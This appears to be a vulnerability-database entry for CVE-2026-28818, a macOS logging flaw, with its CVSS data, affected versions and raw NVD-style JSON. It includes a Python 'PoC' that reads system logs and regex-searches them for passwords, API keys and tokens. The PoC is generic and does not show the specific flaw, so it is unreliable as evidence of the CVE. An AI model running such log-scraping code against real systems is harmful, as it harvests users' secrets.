Security Vulnerability Report
中文
CVE-2026-28818 CVSS 5.3 MEDIUM

CVE-2026-28818

Published: 2026-03-25 01:17:07
Last Modified: 2026-03-25 21:31:36

Description

A logging issue was addressed with improved data redaction. This issue is fixed in macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. An app may be able to access sensitive user data.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
macOS Sequoia < 15.7.5
macOS Sonoma < 14.8.5
macOS Tahoe < 26.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import subprocess import re # PoC for CVE-2026-28818: macOS Logging Information Disclosure # This script demonstrates how a malicious app could search for sensitive data in logs. def check_log_exposure(): print("[*] Checking system logs for unredacted sensitive data...") # Simulate reading system logs (Note: Requires appropriate permissions on macOS) # In a real scenario, an attacker would target specific log streams known to be vulnerable. try: # Using 'log show' command to fetch recent logs cmd = "log show --last 1h --style syslog" result = subprocess.run(cmd, shell=True, capture_output=True, text=True) if result.returncode == 0: logs = result.stdout # Define patterns for sensitive data (e.g., API keys, passwords, tokens) # This is a generic example; actual patterns depend on the vulnerable application. patterns = [ r"password\s*=\s*\S+", r"api_key\s*=\s*\S+", r"token\s*=\s*\S+" ] found = False for pattern in patterns: matches = re.findall(pattern, logs, re.IGNORECASE) if matches: print(f"[!] Potential sensitive data found matching pattern: {pattern}") for match in matches[:2]: # Print first 2 matches print(f" - {match}") found = True if not found: print("[-] No obvious sensitive data found in generic log search.") print("[*] Note: Specific application logs might need to be targeted.") else: print(f"[!] Error executing log command: {result.stderr}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": check_log_exposure()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-28818", "sourceIdentifier": "[email protected]", "published": "2026-03-25T01:17:07.077", "lastModified": "2026-03-25T21:31:35.823", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A logging issue was addressed with improved data redaction. This issue is fixed in macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. An app may be able to access sensitive user data."}, {"lang": "es", "value": "Se abordó un problema de registro con una redacción de datos mejorada. Este problema está solucionado en macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. Una app podría acceder a datos sensibles del usuario."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.8.5", "matchCriteriaId": "D66288AF-23BD-407A-81F5-F1DFBF84C622"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.5", "matchCriteriaId": "DD21D2C9-BBEC-4E8E-B8D2-C92B7E6155E1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.4", "matchCriteriaId": "6CF848CD-25D4-4371-BEF3-1ACCE47AD81F"}]}]}], "references": [{"url": "https://support.apple.com/en-us/126794", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126795", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126796", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}